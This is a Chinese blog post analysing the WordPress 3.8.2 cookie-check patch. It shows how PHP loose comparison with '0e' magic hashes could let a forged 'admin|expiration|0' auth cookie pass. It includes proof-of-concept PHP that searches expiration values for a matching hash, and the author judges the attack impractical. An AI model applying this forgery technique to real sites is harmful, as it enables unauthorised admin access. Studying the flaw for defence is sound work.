看了WordPress 3.8.2補丁分析 HMAC timing attack，眼界大開，原來還可以利用時間差來判斷HMAC。
但我總覺得這個漏洞并不是簡單的修復這個問題。
查看了官方提供的資料:“該漏洞是由WordPress的安全團隊成員Jon Cave發現。”。
也許漏洞還有這樣利用的可能。
當PHP在進行 ”==”,”!=”等非嚴格匹配的情況下，會按照值的實際情況，進行強制轉換。
#!php
<?php
var_dump(0 == '0'); // true
var_dump(0 == 'abcdefg'); // true
var_dump(0 === 'abcdefg'); // false
var_dump(1 == '1abcdef'); // true
?>
當有一個對比參數是整數的時候，會把另外一個參數強制轉換為整數。
官方版的diff只在php里改動了一個位置:
#!diff
<?php
- if ( $hmac != $hash ) {
+ if ( hash_hmac( 'md5', $hmac, $key ) !== hash_hmac( 'md5', $hash, $key ) ) {
?>
其中$hmac來源于cookies。是我們可控的一個輸入參數。
#!php
<?php
Admin|1397564163|1f253e501c301bf5bf293c40d7d92ded
//$username = ‘Admin’;
//$expiration = 1397564163;
//$hmac = ‘1f253e501c301bf5bf293c40d7d92ded’;
?>
$hash是以下代碼生成一個md5值。
#!php
<?php
$key = wp_hash($username . $pass_frag . '|' . $expiration, $scheme);
$hash = hash_hmac('md5', $username . '|' . $expiration, $key);
?>
當$hmac == $hash 時，登錄成功。
那么，有幾種情況會登錄成功。
#!php
<?php
//第一種情況，完全相等。
$hmac = ‘1f253e501c301bf5bf293c40d7d92ded’;
$hash = ‘1f253e501c301bf5bf293c40d7d92ded’;
//第二種情況.第一位為數字，第二位為字母
$hmac = 1;
$hash = ‘1f253e501c301bf5bf293c40d7d92ded’;
//第三種情況。第一位為字母
$hmac = 0;
$hash = ‘af253e501c301bf5bf293c40d7d92ded’;
?>
很明顯，第三種出現的情況非常大。
那么我們有沒有可能把$hmac構造成一個整數0呢？
我們看看cookie解析的代碼：
#!php
<?php
$cookie_elements = explode('|', $cookie);
if ( count($cookie_elements) != 3 )
return false;
list($username, $expiration, $hmac) = $cookie_elements;
?>
當我們把cookie設置為：
Admin|1397564163|1
時。$hmac=’1’。但是，$hmac是字符串1，而不是整數1。
#!php
<?php
var_dump($hmac);//string(“1”);
?>
非常遺憾，這個漏洞是不能利用的。
難道官方修復的真的不是這個漏洞？
還有什么情況能讓字符串識別成整數嗎？是的，還有！
#!php
<?php
var_dump("0" == "0e1234567890123456...32"); // true
?>
‘e’會識別為次方，0的N次方為0；
所以，這個漏洞的利用方式還可以是： 讓$hmac = ‘0’;
通過改變$expiration來改變$hash。獲得一個，第一位為0，第二位為e,后面所有位為數字的$hash.
#!php
<?php
$hmac = ‘0’;
$hash = ‘0e1234567890123456...32’;
var_dump($hmac == $hash); // true
?>
本地測試代碼（實際攻擊代碼應該是構造cookies遠程請求）：
#!php
<?php
include( 'wp-load.php' );
$user = get_userdata(1);
$username = $user->user_login;
$pass_frag = substr($user->user_pass, 8, 4);
$expiration = 9999999999; //設置一個很大的過期時間，然后遞減
while($expiration >0){
$key = wp_hash($username . $pass_frag . '|' . $expiration, 'auth');
$hash = hash_hmac('md5', $username . '|' . $expiration, $key);
if('0' == $hash OR '1'== $hash ){
echo $expiration.'@'.$hash;
file_put_contents('done.txt',$expiration.'@'.$hash);
exit();
}
$expiration -= 1;//過期時間-1
echo $expiration.'@'.$hash."\r\n";
}
?>
通過改變過期時間，嘗試碰撞到可以利用的hash。
按照理論值。碰撞到可以利用的$expiration幾率是(2110^30)/(16^32)。也就是5.8774717541114 * 10 -9。
理論上：把cookies設置成 “admin|碰撞到的過期時間|0”,就可以登陸后臺了。
但是幾率太小，還不如窮舉密碼了。
Ps：我本地跑了幾個小時了，還沒遇到一個。